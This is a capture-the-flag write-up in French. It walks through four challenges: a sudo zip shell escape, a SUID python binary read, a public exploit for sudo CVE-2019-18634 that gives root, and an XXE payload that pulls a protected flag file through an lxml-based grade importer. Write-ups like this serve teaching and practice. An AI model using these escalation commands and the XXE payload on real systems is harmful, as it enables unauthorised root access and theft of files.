Sudoku - 128pts
Lors de l'un de vos tests de sécurité, vous compromettez un serveur applicatif.
Prouvez à vos clients que vous pouvez obtenir des informations sensibles d'autres utilisateurs.
=== Connexion SSH ===
Login :padawan
Mdp :padawan
Serveur :sudoku.phack.fr
On se connecte au serveur avec les identifiants fournis et on reçoit le message d'accueil suivant :
Bienvenue !
Le flag se trouve dans /home/master/flag.txt
Malheureusement, tu n'as pas les droits de le lire.
Trouves un moyen d'y accéder par toi même.
Bonne chance...
Généralement dans ce genre de challenge, on commence par lancer la commande suivante pour récupérer des informations sur ce qu'on pourrait faire :
$ sudo -l
User padawan may run the following commands on sudoku:
(master) NOPASSWD: /usr/bin/zip
On apprend qu'on peut lancer la commande zip en tant que master sans mettre de mot de passe, c'est plutôt un bon début. Un petit tour sur https://gtfobins.github.io/gtfobins/zip/ nous donne l'information des paramètres à utiliser sur la commande zip
pour otenir un shell. On lance donc les commandes suivantes :
$ cd /home/master
$ sudo -u master zip plop.zip flag.txt --test --unzip-command 'sh #'
$ whoami
master
On a réussi à avoir un shell en tant que master, on a plus qu'à lire le fichier et le flag est disponible.
$ cat flag.txt
PHACK{U_h4v3_tH3_suP3r_P0w3r}
To B, or ! to B - 128pts
Votre client vous remercie pour votre travail et vous assure qu'il a fait les modifications nécessaires pour améliorer la sécurité de son serveur applicatif.
Prouvez-lui que ce n'est toujours pas suffisant.
=== Connexion SSH ===
Login :padawan
Mdp :padawan
Serveur :toBOrNot2B.phack.fr
On se connecte sur le nouveau serveur, même message que précédemment mais cette fois la commande sudo n'est pas disponible. On tente de chercher les fichiers qui aurait un suid avec la commande suivante.
$ find / -perm -4000 2>> /dev/null
/usr/bin/python3.8
On vérifie cet exécutable avec
$ ls -l /usr/bin/python3.8
-rwsr-xr-x 1 master root 14048 Mar 15 12:52 /usr/bin/python3.8
Justement le suid est pour l'utilisateur master. On va donc se servir de python pour devenir master et lire le fichier.
$ ./python3.8 -c 'print(open("/home/master/flag.txt", "r").read());'
PHACK{U_4r3_hiM_bu7_h3's_n07_U}
Sudoku v2 - 256pts
L'administrateur du serveur a voulu vous aider en ajoutant une aide visuelle lors de la saisie de votre mot de passe.
Hum Hum.. C'est pas une bonne idée !
=== Connexion SSH ===
Login :padawan
Mdp :padawan
Serveur :sudoku2.phack.fr
On commence par lancer la commande sudo pour vérifier si on a pas des droits sur quelque chose
$ sudo -l
[sudo] password for padawan:********
Sorry, user padawan may not run sudo on sudoku-2.
Il semble qu'on soit tombé sur cette histoire d'aide visuelle justement. On va en apprendre un peu plus sur sudo avec la commande suivante
$ sudo --version
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2
Une petite recherche google nous apprend qu'on peut exploiter cette version quand l'aide visuelle est justement activé https://nvd.nist.gov/vuln/detail/CVE-2019-18634. On trouve ce repo github contenant plusieurs exploits pour sudo. On ne récupère que celui qui nous intéresse.
On lance l'exploit et on obtient un shell root en quelques secondes
$ ./CVE-2019-18634.sh
[sudo] password for padawan:
Sorry, try again.
Sorry, try again.
bash-5.1# exit
sudo: 3 incorrect password attempts
Exploiting!
# whoami
root
Il ne nous reste plus qu'à lire le fichier maintenant qu'on est root.
# cat /home/master/flag.txt
PHACK{*_****_****_****_***_**_*_****_***}
Et oui, le flag est plein d'étoiles...
Graduated - 256pts
Vous avez raté votre examen de PHP. Cheh!
Furieux, vous avez décidé de prouver vos compétences en modifiant directement votre note sur le serveur de votre école.
Vous avez réussi à compromettre les identifiants de votre professeur absent.
=== Connexion SSH ===
Login :teacher
Mdp :teacher
Serveur :graduated.phack.fr
Et le message de bienvenue du serveur
Bienvenue !
Le flag se trouve dans /home/rector/flag.txt
Malheureusement, tu n'as pas les droits de le lire.
Trouves un moyen d'y accéder par toi même.
Bonne chance...
On va faire un tour dans le home de l'utilisateur rector
et on y découvre plusieurs choses :
$ ls -l
total 2236
-r-------- 1 rector root 39 Apr 1 22:56 flag.txt
-rw-r--r-- 1 rector nogroup 12288 Apr 7 09:49 graduation.db
-rw-r--r-- 1 rector root 2257947 Apr 11 15:06 integrator.log
-r-xr----- 1 rector root 4708 Apr 1 22:56 integrator.py
Le fichier graduation.db
semble être une base de données SQLite qui contient les notes des élèves justement. Et le fichier integrator.log
on suppose est le log de l'exécution du script python integrator.py
auquel nous n'avons pas accès.
$ tail -n 10 integrator.log
11/04/2021 15:07:00 [+] Lancement de l'intégration
11/04/2021 15:07:00 [+] Analye des fichiers dans "/home/teacher/evaluations/".
11/04/2021 15:07:00 [+] Intégration terminée
11/04/2021 15:08:00 [+] Lancement de l'intégration
11/04/2021 15:08:00 [+] Analye des fichiers dans "/home/teacher/evaluations/".
11/04/2021 15:08:00 [+] Intégration terminée
On suppose que le script analyse un fichier dans /home/teacher/evaluations/
pour l'intégrer dans la base de données SQLite. On retourne dans notre home directory et on trouve un fichier template.xml
qui contient le XML suivant
$ cat template.xml
<?xml version="1.0" encoding="utf-8"?>
<evaluation>
<student>
<firstname>Xavier</firstname>
<lastname>DUPONT DE L</lastname>
</student>
<grade>15</grade>
<subject>Biologie</subject>
<teacher>
<firstname>Emile</firstname>
<lastname>LOUIS</lastname>
</teacher>
<comment>Elève motivé et consciencieux. Ne parle pas beaucoup avec les autres étudiants. Attention : Absence en cours depuis plusieurs semaines.</comment>
</evaluation>
On essaie de changer le texte puis de mettre ce template dans le dossier ./evaluations
et une minute plus tard, il est intégré dans la base de données. On a donc trouvé d'où viennent les notes. Pour obtenir un peu plus d'information sur ce qui est utilisé dans le script python, on va volontairement lui fournir un xml non valide. Une fois intégré, on retourne voir le log et on découvre :
11/04/2021 15:14:00 [+] Lancement de l'intégration
11/04/2021 15:14:00 [+] Analye des fichiers dans "/home/teacher/evaluations/".
11/04/2021 15:14:00 [+] Fichier "aa.xml" en cours d'analyse.
Traceback (most recent call last):
File "/home/rector/integrator.py", line 137, in <module>
process()
File "/home/rector/integrator.py", line 104, in process
tree = etree.parse(GRADE_FOLDER_PATH + filename, parser)
File "src/lxml/etree.pyx", line 3521, in lxml.etree.parse
File "src/lxml/parser.pxi", line 1859, in lxml.etree._parseDocument
File "src/lxml/parser.pxi", line 1885, in lxml.etree._parseDocumentFromURL
File "src/lxml/parser.pxi", line 1789, in lxml.etree._parseDocFromFile
File "src/lxml/parser.pxi", line 1177, in lxml.etree._BaseParser._parseDocFromFile
File "src/lxml/parser.pxi", line 615, in lxml.etree._ParserContext._handleParseResultDoc
File "src/lxml/parser.pxi", line 725, in lxml.etree._handleParseResult
File "src/lxml/parser.pxi", line 654, in lxml.etree._raiseParseError
File "/home/teacher/evaluations/aa.xml", line 16
lxml.etree.XMLSyntaxError: EndTag: '</' not found, line 16, column 1
On apprend que le parseur XML utilisé est lxml
. On va tester une Injection XXE (XML eXternal Entity) pour essayer de faire lire le flag lors du parsing XML. On créé le fichier suivant
<!DOCTYPE evaluation [
<!ENTITY flagme SYSTEM "/home/rector/flag.txt">
]>
<evaluation>
<student>
<firstname>PLOP</firstname>
<lastname>BOUHBOUH</lastname>
</student>
<grade>12</grade>
<subject>Bio</subject>
<teacher>
<firstname>Emile</firstname>
<lastname>LOUIS</lastname>
</teacher>
<comment>un petit commentaire &flagme;</comment>
</evaluation>
Et après une minute, notre fichier est lu et intégré par le script python, un simple cat sur le fichier de base de données nous permet de récupérer le flag
PHACK{XmL_3x7Ern4l_3n7i7iEs_fr0m_b4sH}